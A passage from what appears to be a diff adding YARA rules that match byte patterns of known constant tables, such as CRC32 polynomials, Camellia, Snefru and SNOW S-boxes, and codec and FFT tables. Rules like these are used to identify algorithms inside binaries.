73ce6baec926d0167ddeb821615dfee42a8b460bafd757b90f10f03e3209ec2d8243b6739e1b83fa6ef543087713bcff2b64264329fcca415cb04451ab08d7de4f1e51b4a84dcdfe7ba70dacb420aae7dcd7a5be857f65a3fd58c4dcf2028d4a4cea430d179fbeb8634dccdd333533b8577b5fcef37788706c5e6b380e5f4b8684e7eb3c8c5a29e800d7ceb8f39944f2a130e95b7431c7dee2fbd133622a2ca06dd2b93df37898224c4c3ebf3acb7f61557dd7834ef6f6167f2e4cb48c15e815290ab0f415e65248ab4a47fda2ee4407be884a08ee9e1e98958fc90d3ef5bd307dd945648dbb2e5d73801017257bcde0e731331645b4f7e9194ba2f3c5082126f644ad22375959677e08f7ac1f921215b7a96b887d14d3a2629df0c51ba9f7cf481ed6311ad65597bea6e72001a92304011776dda0061dd0c4a03461fadb0df5b6064c3ed9ea8e6eb228ad2e7cea036e7a0b9a6645509328510378febc7ca05e72d0f5751892b8209df6c1a69bdf2e412aa0f1c45877aa2f6e01948da3a4f76f14c2b1c770d56b1cd6784830d350ffa3859f39e3942077b99363d09840e613ea94a7bd860830c8ba91f2c384911a52576e9b7d114064b24250e4783760c828d9e58d159200d1ebb66a4820adaf83091f104c04e6eba645126990d23e71e80adb2500168eeea83a2b28d }
+
+condition:
+	$a0
+}
+
+	
+rule camellia_sp0222__32_big_1024_
+{
+strings:
+	$a0 = { 00e0e0e0000505050058585800d9d9d900676767004e4e4e0081818100cbcbcb00c9c9c9000b0b0b00aeaeae006a6a6a00d5d5d500181818005d5d5d008282820046464600dfdfdf00d6d6d600272727008a8a8a00323232004b4b4b0042424200dbdbdb001c1c1c009e9e9e009c9c9c003a3a3a00cacaca00252525007b7b7b000d0d0d00717171005f5f5f001f1f1f00f8f8f800d7d7d7003e3e3e009d9d9d007c7c7c0060606000b9b9b900bebebe00bcbcbc008b8b8b0016161600343434004d4d4d00c3c3c3007272720095959500ababab008e8e8e00bababa007a7a7a00b3b3b30002020200b4b4b400adadad00a2a2a200acacac00d8d8d8009a9a9a00171717001a1a1a0035353500cccccc00f7f7f70099999900616161005a5a5a00e8e8e800242424005656560040404000e1e1e100636363000909090033333300bfbfbf0098989800979797008585850068686800fcfcfc00ececec000a0a0a00dadada006f6f6f005353530062626200a3a3a3002e2e2e0008080800afafaf0028282800b0b0b00074747400c2c2c200bdbdbd00363636002222220038383800646464001e1e1e00393939002c2c2c00a6a6a60030303000e5e5e50044444400fdfdfd00888888009f9f9f0065656500878787006b6b6b00f4f4f400232323004848480010101000d1d1d10051515100c0c0c000f9f9f900d2d2d200a0a0a00055555500a1a1a10041414100fafafa004343430013131300c4c4c4002f2f2f00a8a8a800b6b6b6003c3c3c002b2b2b00c1c1c100ffffff00c8c8c800a5a5a5002020200089898900000000009090900047474700efefef00eaeaea00b7b7b7001515150006060600cdcdcd00b5b5b500121212007e7e7e00bbbbbb00292929000f0f0f00b8b8b80007070700040404009b9b9b00949494002121210066666600e6e6e600cecece00ededed00e7e7e7003b3b3b00fefefe007f7f7f00c5c5c500a4a4a40037373700b1b1b1004c4c4c00919191006e6e6e008d8d8d0076767600030303002d2d2d00dedede0096969600262626007d7d7d00c6c6c6005c5c5c00d3d3d300f2f2f2004f4f4f00191919003f3f3f00dcdcdc00797979001d1d1d0052525200ebebeb00f3f3f3006d6d6d005e5e5e00fbfbfb0069696900b2b2b200f0f0f000313131000c0c0c00d4d4d400cfcfcf008c8c8c00e2e2e20075757500a9a9a9004a4a4a00575757008484840011111100454545001b1b1b00f5f5f500e4e4e4000e0e0e0073737300aaaaaa00f1f1f100dddddd0059595900141414006c6c6c009292920054545400d0d0d0007878780070707000e3e3e300494949008080800050505000a7a7a700f6f6f600777777009393930086868600838383002a2a2a00c7c7c7005b5b5b00e9e9e900eeeeee008f8f8f00010101003d3d3d }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0x5005713c__32_lil_refl_False_
+{
+strings:
+	$a0 = { 000000003c71055078e20aa044930ff0ccb51010f0c41540b4571ab088261fe0986b2120a41a2470e0892b80dcf82ed054de313068af34602c3c3b90104d3ec030d742400ca64710483548e074444db0fc625250c0135700848058f0b8f15da0a8bc636094cd6630d05e69c0ec2f6c9064097370587876201ceb79d0209a7c8060ae85805cdf80d0184c8f20243d8a70ac1b9590906a90c0d4f99f30e8889a60f8c5a4a0c4b4a1f08027ae00bc56ab503470b4b00801b1e04c92be1070e3bb405079c7c06c08c290289bcd6014eac8309cccd7d0a0bdd280e42edd70d85fd820c812e6e0f463e3b0b0f0ec408c81e91004a7f6f038d6f3a07c45fc504034f900fc2d0e51c05c0b0184cf04f1b8be01a130981e410ce91b11487a14e1740b11b164462f7158372a211ca425d120d52081a8f33f6194823a31d01135c1ec603091ccfa4c11f08b4941b41846b1886943e1004f5c013c3e595178ad56a144dc53f154916d3168e068612c736791100262c198247d21a4557871e0c67781dcb772d19c838bd1a0f28e81e4618171d810842150369bc16c479e9128d4916114a5943104e8aaf13899afa17c0aa051407ba501c85dbae1f42cbfb1b0bfb0418cceb511ac54c9919025ccc1d4b6c331e8c7c66160e1d9815c90dcd11803d3212472d671343fe8b1084eede14cdde21170ace741f88af8a1c4fbfdf18068f201bc19f751f85b1ca2c42a19f280b91602bcc8135234ee0cb2089f09e24c0c0612707d034260303d825c4138d218d2372224a33272ac852d9290f428c2d4672732e8162262c88c5ee2f4fd5bb2b06e54428c1f511204394ef238484ba27cdb445240aa410250e77fc26c967a9228057562147470329c526fd2a0236a82e4b06572d8c1602298f59922a4849c72e0179382dc6696d25440893268318c622ca2839210d386c2009eb8023cefbd52787cb2a2440db7f2cc2ba812f05aad42b4c9a2b288b8a7e2a822db629453de32d0c0d1c2ecb1d4926497cb7258e6ce221c75c1d22004c4823049fa420c38ff1248abf0e274daf5b2fcfcea52c08def02841ee0f2b86fe5a2047612f3380717a37c94185340e51d03c8c302e3f4b207b3b02108438c500d139c1d33d3a06c3683e4ff3973d88e3c2350a823c36cd92693284a2963143b2c3334a150b308d055e34c435a1370325f43f81440a3c46545f380f64a03bc874f53acca719390bb74c3d4287b33e8597e63607f61835c0e64d3189d6b2324ec6e7364d8977358a992231c3a9dd3204b9883a86d8763941c8233d08f8dc3ecfe8893fcb3b653c0c2b3038451bcf3b820b9a33006a6430c77a31348e4ace37495a9b3540fd533687ed0632ceddf93109cdac398bac523a4cbc073e058cf83dc29cad3cc64f413f015f143b486feb388f7fbe300d1e4033ca0e1537833eea34442ebf3 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_ff_nelly_delta_table__16_big_64_
+{
+strings:
+	$a0 = { D233DB34E11AE56FE8C4EB8FEE09F039F24DF42AF5DCF786F912FA99FC08FD6CFEB7FFFF015102B8043D05E807AA09810B980DF110DA149F19DE1FDA275C32AF }
+
+condition:
+	$a0
+}
+
+	
+rule huffyuv_grad_decorrelate_rgb__8_byt_218_
+{
+strings:
+	$a0 = { 224324252627282a4b6c8daecfd01108d2b3b4b5367536353637363736353755375637563938395739385938793819423759375958773897d6353736b534553334b3120a1108b0afaead6c4b2a28272625244322432526678809080a0b0b0d0c0b0d0a0e0b0f0a100dd192333293f4353435140a333413081209f1100c0f0b0e090d0a0c090b0d0a0ce9a8672625432243242627282a4b6c8daecfb0d1b2d3943534357637765758373958373839375839383958993859387938194d585756353655345594351409d332731209f1f06f8e8d8c4b2a2827266300 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_COOK_cvh_huffbits2__8_byt_48_
+{
+strings:
+	$a0 = { 0104050708090a0304050708090a05050607080a0a07060708090a0c080808090a0c0e0809090a0b0f10090a0b0c0d10 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0xd6d6a3e8__32_big_refl_False_
+{
+strings:
+	$a0 = { 00000000d6d6a3e87b7be438adad47d0f6f7c87020216b988d8c2c485b5a8fa03b393308edef90e04042d730969474d8cdcefb781b185890b6b51f406063bca876726610a0a4c5f80d098228dbdf21c08085ae6056530d88fbfe4a582d28e9b04d4b55189b9df6f03630b120e0e612c8bbbc9d686d6a3e80c0c779501611dab8ece4cc203a326fc8979f281841498bf01a130450ccc5a7b86168e068b7be4380d7ddff28010b5cc0aca61b107a70b8f8212a3758f7fc94b05a51d3608c8770889a96aa304c4009d8e1ed4e08373bede06c616240bab7c1a8171a8678c1cc2590a1af993877793ad0dad47d000c02dee857585148818ef2a02c23b570faf516980f1f3ba8d9c998407464df90a2b27c78f9e8f3d82f3e5030829317e05445b408342608a0e2f0ab484f5dec98998b4f70c2d1c0d014076338b9aa24e86f7c8700796d5db8afbbfe500216b980d4c01a688f9a95c8594c3620f4e171f02237d21842546eb09482cd58392f8a88eff92960b4a3a6c062750528cfd842f8190ee110e3fbf788352d5460988013b04e56b058150c3ff8c3da9c106e77dbc0b8a17828d8c2c4800e146768a3b920b8756f83502e350cf0f8e3af18554ee8c883984b2095899198435f3270eef275a03824d648637e59e8b5a8fa001805bdd0ced31e38aeb0a29078660178d5cb46a8031de54058476ae08e91c908233c8ed8f5ea2d301e3e7750c8e8d4b865459368b3933080e8c9bf203e1f1cc893b25b184564f8f025074458f3d1e7b05e7ca06088aa0388d3f08c2805262fc0a88b68107e5dcbf8684c1140be9ab2a81337f578c5e156909ebbd930486d7ad8e5c03d0833169ee05375224885a381a0280ec670fed86598a582ea38735449d0def90e00082fade8f2dabb70240c189889a15f485f77fca0042d7300d2fbd0e87f569738a98034d0c9e388781f352b90b2986c40644ecfa83f144008e9c2e3e0446fa43092b907d884a8dd60527e7e88ffd3395829059ab0725f1510a489b6f80924f128dff252c0bf91ee6869474d80c4ea0a50123ca9b8496626189fb085f0321dc220e4cb61c811214cf8c7f7ef106a5aa8c0bc8c0b28e7d68488310027609cad60b04a7bc3582a187ff0fccedc1851639bc887b53820dcefb7800a391468a79453b87142f05067532ae8b18589001c28ced0cafe6d3891a4e29847724170eadf06a03c09a5485c6a19e08abcba082711fdd8f1c75e30aa9dd1907c4b7278d1e635a807309640fdc580d82b13233086be64e05068c7080b3248a8dde4eb407049ac90a69f0f78c6fcb3d0102a1038bd8757e86b51f400300b7ba0e6ddd8484b709f989da63c708bb7e6c85d614520f0cc02f0261aa1187d402eb8ab968d50063bca80d0ed6968b08ed5c066587628cbf531f81d23921046791db090afbe583d02f988ebd45a60 }
+
+condition:
+	$a0
+}
+
+	
+rule DMC_compression__32_lil_AND_
+{
+strings:
+	$a0 = { cdcc4c3e[0-20]cdcc4c3e[0-20]cdcc4c3e[0-20]cdcc4c3e }
+
+condition:
+	$a0
+}
+
+	
+rule Snefru_S_box_0__32_lil_1024_
+{
+strings:
+	$a0 = { 1b00f964f6cdddfee2f18f7c1415d711d3188c8b1e88dfdd5650ab6ee1d8ce8859891449d56fc569034f99b73eeebc0f4049263c587e5521c23f4be191f55c2ecef8efdc48162a09362981be6a0c7bff371025d5f148a4af5ac9af7d3f9ca61ee7ab17a423e49058c070cbb0f72550c8e3974d245f59f31f9663ecc4171e185977b435e6bf7d4e3553776f79cc52eb6695f9c37727a9e332d6aecc809de82b4e28bd5b37053d1aadb3421b2b714cc416a8bf544d7adc7de544816dec6b04715a509622d8248ffc87090ec6cb660339b69260f7d90ba793d38aa0311dc971d99c45f41e5c94b6fa866541b4fdbefcaa8eebc6ca4be5947afb4ed0895735cf13faa98d6b2300f033411c2624623bf212f4a4565ee7162102301f7ff1baf97298d09c69a3c1aa02e8f1dc45d10d93e0dc4ff012848d76f3d06c3db7e63d7f73ba84f2303ab4699f5644caeae400b0e38db5c8139195e9fe2ed6831f86907498d6ceee3c792f301c57e8d165364831b007ab4f844c91e83bbf159a2a3f2cd45fb99e2d47e7925bcc972282275fee62b57753cfbb8edbddde61f9605c9bc50d91d31bad06d226d81485b2526bcf5ebb78ea7fac79485084a834ed3c1de5361d745317edca478cef400a9d21e2453170eb27daa30b73df89873c18a6c09a73c6df589ac134b1542e243eac023949cc99da2d7b01bc158fc738fd298f31d527f5af4a6018689cf2eca28ac3c3d419106e93fba8397bed201961680b6f90a0899e82c71c4bef52998c9e0e85903a06cd8e2f0067b78caccf114ba2ea6c4e8b98df66f04608ec7eca64a6bbc7bd171d83e675f5630e356497420d8747a2a46c0287d56781abadb661d26465aa7b23da704ac7e125a001c9a1daa5b00e41f77076ea5ac05132fa3d931aff5907b80a015678cbde5ff8ed323fb9dbbeae6d32f839c55808d2e48b639b0ac872a59fa1e028fc992043cdc3373a85c595bf2ac192b3d707a76a616af652b183d4125e5b43962b80753e332ba53ba5519fa957e1a1bd0ce7c278e07caefc672260d14dacff2a4709514a3ab8b20a79e5047a80fd0d3422e916b99b5e9de2f44a62f5afd9a94cfe2cbd6b20f6b7e3076e74c2b6b9425bbc1969a00fc4f2f0b57a2172f39dc114ae2d80f3b4be94e0ff1a10a25d5729057cb2cd55b2dd3ba37db32865db050c74c4626ae94628784006d7306d2c8ef4bbded3e2bcfa379e0434e6b5018d6d882d7e2e5a7e132041d7970fe906ba3e5de48633adb8251b05135453030c759bc871d0fb38c6a1117f19fb080fef518644f86395403843442f45554d465d4c76d80338d6b8b12fba0ba710d2b394a79266ebd9c209d426858368158adba6986c1f75889a76de6846eec973a3821a49aa960881362342cb552cf604541c9f5cb14ff712436ec0725dfe6f8b67a88a29d17c33fdce1182 }
+
+condition:
+	$a0
+}
+
+	
+rule SNOW_SBox_2__32_lil_1024_
+{
+strings:
+	$a0 = { 001080080010800080108008a0200402802084008030800280200008200084000010040a80300402803084028030800820200402a010040aa000800a20108008a000040a201084002000840a2000040800000002a020840200100008a0208008001004008000040880200402203084022020840880008400a0008408a02000008010840000000400a03000080000840820200400a0008000000004022000800aa000000880100402a02084000000040a2010040000300000a030840a80200002202080008030000a2020040a0030040a20300408a03080022020000aa0200002a030040220008000802080022000040aa03084020010000a00300002000080088010000080108000201000022010800080008000001000008010840a800000000030800a00000008a00000020020000220308408a0100000a0108000002080020000840a00000408a030000200100408a000000a00308008a03084082020840a803084000020840220208008a0008402201004020030000aa000800800108400a0008002a02000082030000a200000008010040000008400203080022030840a80000008a030040a20208002a010840000208000a020800200108408801080028010800a2020800a2030040a20300000800004008020040a0020800820308000a0100402a01000082030800a2010000a20000402801004080020000a20108002202000088000800800208400000084020020840a8020800a2000840880000402001004028000040aa01004002010040a0030840aa00004082010800a003004028000800a0010800220208402a010800280200000003084082030840020000008a0008400800084028030040800008002a03080008030000800300008000000008030000020008008a0100002a030800a0020040a80100008a02080000000800a00200000a000840a802004002000000a20308008a0108402a0108008a030000a002084082030040080008408a020800a200080020030840020100008801084088010000a20300402a0000402a0000400200000028000840a0020040880008002a02084088030040a8030000220108402001000028020000a0030800280308000a0108408202084000010840aa0000000a010840a80000002a020000a20100408a010800a202000000010800aa0308008a0200408a0100408200004008020800000108402a0200400201000000020800a80200408a010000a0000000a203000088000000a203000022020040800308000802084028010040a8030840880208408a020040a80100002a0300408a03004008010840200200400a03000008030800a00200402a020840a003004088030840a2010840a003084028020840a0000800080208008200084022010840800200008a0308400803004002020000200300400 }
+
+condition:
+	$a0
+}
+
+	
+rule PPMZ2_counts__32_lil_1024_
+{
+strings:
+	$a0 = { 1700000000000000000000000000000000000000000000000000000000000000030000003b0000008d01000000000000000000000d000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001a00000000000000000000000000000000000000c90800001700000027000000050000001100000025000000010000004100000041000000390000000f00000010000000920000006c000000d30000000b0000003a000000410000002700000019000000150000001500000015000000140000001800000017000000290000003a0000000a0000001100000010000000080000000a000000270000001600000022000000180000001a000000120000000c0000001b000000390000000c0000000e000000140000001b00000016000000120000001d000000020000001800000021000000340000000f000000060000000c000000060000000500000001000000250000002d0000000800000001000000070000000300000016030000a20000005101000085010000f9040000ee000000ca000000f1010000d80200000d00000049000000aa01000016010000e3020000f6020000f20000001000000071020000aa0200007f0300003801000066000000b30000002f000000b20000001000000005000000030000000500000011000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_rv10_rv_lum_code__16_big_512_
+{
+strings:
+	$a0 = { 3e7f0f000f010f020f030f040f050f060f070f080f090f0a0f0b0f0c0f0d0f0e0f0f0f100f110f120f130f140f150f160f170f180f190f1a0f1b0f1c0f1d0f1e0f1f0f200f210f220f230f240f250f260f270f280f290f2a0f2b0f2c0f2d0f2e0f2f0f300f310f320f330f340f350f360f370f380f390f3a0f3b0f3c0f3d0f3e0f3f0380038103820383038403850386038703880389038a038b038c038d038e038f0390039103920393039403950396039703980399039a039b039c039d039e039f00c000c100c200c300c400c500c600c700c800c900ca00cb00cc00cd00ce00cf005000510052005300540055005600570020002100220023000c000d000400000005000e000f002400250026002700580059005a005b005c005d005e005f00d000d100d200d300d400d500d600d700d800d900da00db00dc00dd00de00df03a003a103a203a303a403a503a603a703a803a903aa03ab03ac03ad03ae03af03b003b103b203b303b403b503b603b703b803b903ba03bb03bc03bd03be03bf0f400f410f420f430f440f450f460f470f480f490f4a0f4b0f4c0f4d0f4e0f4f0f500f510f520f530f540f550f560f570f580f590f5a0f5b0f5c0f5d0f5e0f5f0f600f610f620f630f640f650f660f670f680f690f6a0f6b0f6c0f6d0f6e0f6f0f700f710f720f730f740f750f760f770f780f790f7a0f7b0f7c0f7d0f7e0f7f }
+
+condition:
+	$a0
+}
+
+	
+rule base64_decoding_table__32_big_512_
+{
+strings:
+	$a0 = { 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003e0000000000000000000000000000003f0000003400000035000000360000003700000038000000390000003a0000003b0000003c0000003d00000000000000000000000000000000000000000000000000000000000000000000000100000002000000030000000400000005000000060000000700000008000000090000000a0000000b0000000c0000000d0000000e0000000f000000100000001100000012000000130000001400000015000000160000001700000018000000190000000000000000000000000000000000000000000000000000001a0000001b0000001c0000001d0000001e0000001f000000200000002100000022000000230000002400000025000000260000002700000028000000290000002a0000002b0000002c0000002d0000002e0000002f000000300000003100000032000000330000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule EPWIC_Sum_to_1_lo_filter__flt64___64_big_72_
+{
+strings:
+	$a0 = { 3f945371c80faaadbfa610034205debebfaa910e3c75dea73fd2c44ccb561e8f3fe20a9e47f85e753fd2c44ccb561e8fbfaa910e3c75dea7bfa610034205debe3f945371c80faaad }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0x4db26158__32_lil_refl_True_
+{
+strings:
+	$a0 = { 000000002c64100558c8200a74ac300fb09041149cf45111e858611ec43c711b05ba8f1d29de9f185d72af177116bf12b52ace09994ede0cede2ee03c186fe066fef130e438b030b372733041b432301df7f521af31b421f87b77210abd362156a559c1346318c16329dbc191ef9ac1cdac5dd07f6a1cd02820dfd0dae69ed08dede271cf2ba371986160716aa7217136e4e6608422a760d368646021ae25607db64a801f700b80483ac880bafc8980e6bf4e9154790f910333cc91f1f58d91ab13134129d552417e9f91418c59d041d01a175062dc565035969550c750d4509b48bbb0f98efab0aec439b05c0278b00041bfa1b287fea1e5cd3da1170b7ca14d926430df542530881ee6307ad8a730269b6021945d2121c317e22131d1a3216dc9ccc10f0f8dc158454ec1aa830fc1f6c0c8d0440689d0134c4ad0e18a0bd0bb6c950039aad4006ee017009c265600c065911172a3d01125e91311d72f52118b373df1e9f17cf1bebbbff14c7dfef1103e39e0a2f878e0f5b2bbe00774fae0507f864112b9c74145f30441b7354541eb76825059b0c3500efa0050fc3c4150a0242eb0c2e26fb095a8acb0676eedb03b2d2aa189eb6ba1dea1a8a12c67e9a176817771f4473671a30df57151cbb4710d887360bf4e3260e804f1601ac2b06046dadf80241c9e8073565d8081901c80ddd3db916f159a91385f5991ca9918919b24d861a9e29961fea85a610c6e1b61502ddc70e2eb9d70b5a15e7047671f701b7f709079b931902ef3f290dc35b3908076748132b0358165faf681973cb781cdda29514f1c68511856ab51ea90ea51b6d32d4004156c40535faf40a199ee40fd8181a09f47c0a0c80d03a03acb42a0668885b1d44ec4b1830407b171c246b126c93a10640f7b103345b810c183f9109dc03e012f067f01784cbc018a8afd01d69292e1b454d3e1e31e10e111d851e14d9b96f0ff5dd7f0a81714f05ad155f00037cb2082f18a20d5bb4920277d08207b3ecf31c9f88e319eb24d316c740c31306c63d152aa22d105e0e1d1f726a0d1ab6567c019a326c04ee9e5c0bc2fa4c0e6b6bc517470fd51233a3e51d1fc7f518dbfb8403f79f94068333a409af57b40c6ed14a0a42b55a0f36196a001a7d7a05de410b1ef2251b1b86892b14aaed3b110484d61928e0c61c5c4cf6137028e616b414970d98708708ecdcb707c0b8a702013e59042d5a490159f6790e7592690bb1ae18109dca0815e966381ac502281fb5b5e20b99d1f20eed7dc201c119d2040525a31f2941b31a5ded831571899310b00f6d169c6b7d13e8c74d1cc4a35d19009f2c022cfb3c0758570c0874331c0dda5af105f63ee1008292d10faef6c10a6acab01146aea0143202901b1e66801edfe07e18f3846e1d87285e12ab4c4e176f703f0c43142f0937b81f061bdc0f03 }
+
+condition:
+	$a0
+}
+
+	
+rule FFT_and_FHT_routines_costab__flt32___32_big_32_
+{
+strings:
+	$a0 = { 3f6c835e3ec3ef153f7ec46d3dc8bd363f7fec433cc90ab03f7ffec43bc90f88 }
+
+condition:
+	$a0
+}
+
+	
+rule Little_CMS_isotempdata__flt32___32_big_496_
+{
+strings:
+	$a0 = { 000000003e3861a63e86ec18be794079412000003e38feef3e8822bcbe8273d641a000003e39ae923e897397be899ae941f000003e3a732e3e8ad96abe921ea3422000003e3b52003e8c52e7be9c01a3424800003e3c4b0a3e8ddebebea74bc7427000003e3d60e93e8f77afbeb3ffac428c00003e3e939f3e911c6dbec21ff342a000003e3fe5c93e92c7b9bed1b08a42b400003e4154ca3e9476f3bee2b40f42c800003e42e33f3e96262dbef52fc242fa00003e474a773e9a5269bf150093431600003e4c692f3e9e50c6bf3467e0432f00003e522d0e3ea2085bbf5958b8434800003e587e7c3ea56ffcbf825461436100003e5f4dbe3ea87e7cbf9bc01a437a00003e66833c3eab352bbfb9c0ec438980003e6e0c9e3ead96a7bfdd6a16439600003e75dcc63eafa82fc00413a943a280003e7cf2d03eb16f00c01df55a43af00003e8306a33eb2f2fac03db3d043bb80003e872b023eb43958c06535a843c800003e8b5b2d3eb548aac08ba02743d480003e8f8f473eb6277cc0ac09d543e100003e93c7503eb6db0ec0d73d0843ed80003e97fcb93eb769ecc109872b43fa00003e9c2f833eb7d806c1352f1b440340003ea05bc03eb827fac17a0c4a440980003ea4801f3eb86057c1ba999a440fc0003ea89b523eb883bac223147b441600003eacaab93eb894c4c2e8e666 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0x1db71064__32_big_refl_False_
+{
+strings:
+	$a0 = { 000000001db710643b6e20c826d930ac76dc41906b6b51f44db261585005713cedb88320f00f9344d6d6a3e8cb61b38c9b64c2b086d3d2d4a00ae278bdbdf21cc6c61624db710640fda836ece01f2688b01a57b4adad47d08b74777c96c367182b7e950436c985601010b5cc0da7a5a85da2d4944015c4f066ccf45c7b7be438903b3c2c8d8c2c48ab551ce4b6e20c80e6e77dbcfb506dd8dd895d74c03e4d107d83bf0c6034af6846ed9fc45b5a8fa00b5ffe9c16e8eef83031de542d86ce3056fd2a084b4a3a6c6d930ac070241aa420216b983d967bfc1b4f4b5006f85b34bb45a928a6f2b94c802b89e09d9c9984cd99e8b8d02ef8dcf6f7c870eb40d8143dc1683c2076785806af48f41b1858904b1d29ac56aa39c8707309646dc41900d079eb1ccdcefb78eb17cbd4f6a0dbb0a6a5aa8cbb12bae89dcb8a44807c9a20fb077e18e6b06e7cc0695ed0ddde4eb48ddb3f88906c2fecb6b51f40ab020f2416bffd380b08ed5c2dd1ddf03066cd946063bca87dd4accc5b0d9c6046ba8c04adfa5410b04d4474969474d88b2364bcdb261580c69105e4e0483548fdff252c4042d7305df5c7547b2cf7f8669be79c369e96a02b2986c40df0b6681047a60c6b3c4234768b5250505262fc4de572981de003a4005713c0268e236c3b3933088684c1149b33d170bdeae1dca05df1b8f0588084edef90e0cb36a04cd681b0287b82d0786635c01c40ecf0b05d5be0d40d5e91e810e9818c3630b1202b87a144963a53588b8d433cad547390b0e363f4e0e612c8fd5102acdb883200c63f2264bd44c65ca0f3d638862ae6949b9df6f0cb9887ccd62f97a8f0f6a704ed41b76050fc457c4d4b55186b9265b4762575d0262004ec3b9714881d4e242400f93440ebb9ec54f60efc30d0d7cc9ccd60dcf89d65adc480d2bda0a60b8d0cbbbc9d6806016f741bb67f103d6f4fbc20d85fd870dd2ee46d6a3e804bb30e2c56041e482d7ffa7030c8ea141611dab80ba6cadc5ba3bbe04614ab8460cd9b287d7a8b4cc0c77950dd706934fba95998e61e49fcb61b38c0abac28a48d75180890c2086c4643b8445bf4a8207d2d988c609a88e8309ff9d42d28e9b00bf1d91c1646c978abfb3b64b64c2b0090951bac8d220bc8dd277af4c0906a90e6495a3cfbfe4a588085ae609d32be04bbeb8ea8a65c9eccf659eff0ebeeff94cd37cf38d080df5c6d3d2d40708a3d2456530d884be41dec1be16cd006567cb4208f4c183d385c7cd6788468cbcf940ced16a4a0f0a1b4c4a0a4c5f8bd13d59c9bcae530867df5543bc007482677172c00ae27801d1937e44d1c46d850ab56bc767266106bc5767410be924c0d0982282bd0b2843667a2e06662d3dc7bd5c3b85d0cf31440bbe370fd06116ce0b10108c66831a4dbdf21c08bda50fc966d4098b0b47034ad036050 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_cfft_tab_240__flt64___64_lil_3840_
+{
+strings:
+	$a0 = { 000000000000f03f0000000000000000fdffff5f31fdef3f7500006021ce9a3ffcffffdfc5f4ef3f1d000060c7cbaa3f04000020bfe6ef3fedffff3fe515b43ffeffff9f1fd3ef3fe2ffff9f60c2ba3ffcffff9feab9ef3f0900002015b5c03ffeffff9f249bef3f060000800b06c43f01000000d376ef3f010000607e53c73f02000040fc4cef3f0b0000c0d99cca3f00000080a71def3f0e0000c089e1cd3ffcffff3fdde8ee3f000000c07d90d03ffdffffbfa6aeee3ffcffffbf4e2dd23f030000200e6fee3fffffff3fefc6d33ffeffff7f1e2aee3f02000080175dd53ffdffffffe3dfed3ff9ffff1f80efd63ffdffffbf6b90ed3ffbffffbfe27dd83ffcffff9fc33bed3f06000020f907da3f01000080fae1ec3ffaffff7f7e8ddb3ffeffff1f2083ec3ff8ffff3f2e0edd3f00000000451fec3f00000000c589de3ffeffffdf7ab6eb3f000000000000e03fffffffffd348eb3ffeffffdf4eb8e03f000000a063d6ea3f020000e0ae6de13f020000e03d5fea3f000000000020e23f000000a077e3e93fffffffff22cfe23f020000802663e93fffffff3ff97ae33ffcffff1f61dee83ffcffff7f6423e43f000000e03e55e83f0200006047c8e43f040000a0d7c7e73f030000a08469e53fffffff5f4436e73f020000200007e63ffcffff5f9ea0e63ffcffff5f9ea0e63f020000200007e63fffffff5f4436e73f010000808469e53ffdffffbfd7c7e73f0000004047c8e43f000000e03e55e83ffcffff7f6423e43ffeffff3f61dee83ffdffff1ff97ae33f040000a02663e93fffffffff22cfe23f000000a077e3e93f000000000020e23f020000e03d5fea3f000000c0ae6de13f020000c063d6ea3f050000c04eb8e03f01000020d448eb3f070000e0ffffdf3f000000007bb6eb3f070000e0c489de3f02000020451fec3ff8ffff3f2e0edd3ffeffff1f2083ec3ffdffff1f7e8ddb3f030000a0fae1ec3ffbfffffff807da3ffeffffbfc33bed3f020000a0e27dd83ffdffffbf6b90ed3ffcffffbf7fefd63fffffff1fe4dfed3ffeffff3f175dd53ffeffff7f1e2aee3f06000020efc6d33f030000200e6fee3f030000a04e2dd23ffdffffbfa6aeee3ff9ffffdf7d90d03ffcffff3fdde8ee3f0d00002089e1cd3f00000080a71def3ffcffff5fd99cca3f02000040fc4cef3f010000607e53c73f01000000d376ef3fefffff9f0a06c43ffeffff9f249bef3f0800008014b5c03ffcffff9feab9ef3f0b0000e05fc2ba3ffeffff9f1fd3ef3ffbffffffe415b43f04000020bfe6ef3f010000e0c7cbaa3ffcffffdfc5f4ef3f6c0000601cce9a3ffdffff5f31fdef3fcdd36abda57767be000000000000f03f6800004022ce9abffdffff5f31fdef3f150000c0cacbaabffcffffdfc5f4ef3ff0ffff7fe615b4bf04000020bfe6ef3f0000006061c2babffeffff9f1fd3ef3f0200004015b5c0bffcffff9feab9ef3ff0ffff3f0b06c4bffeffff9f249bef3f020000007f53c7bf01000000d376ef3ff6ffff1fda9ccabf00000020fc4cef3f070000e089e1cdbf00000080a71def3f080000407e90d0bffcffff3fdde8ee3f000000004f2dd2bf040000a0a6aeee3ff8ffff5fefc6d3bf010000000e6fee3f02000080175dd5bffeffff7f1e2aee3ff9ffff1f80efd6bfffffff1fe4dfed3fffffffffe27dd8bffdffffbf6b90ed3ff8ffff5ff907dabffcffff9fc33bed3ffaffff7f7e8ddbbf01000080fae1ec3f070000a02e0eddbf050000002083ec3ffcffffbfc489debf02000020451fec3f000000000000f03f0000000000000000fcffffdfc5f4ef3f1d000060c7cbaa3ffeffff9f1fd3ef3fe2ffff9f60c2ba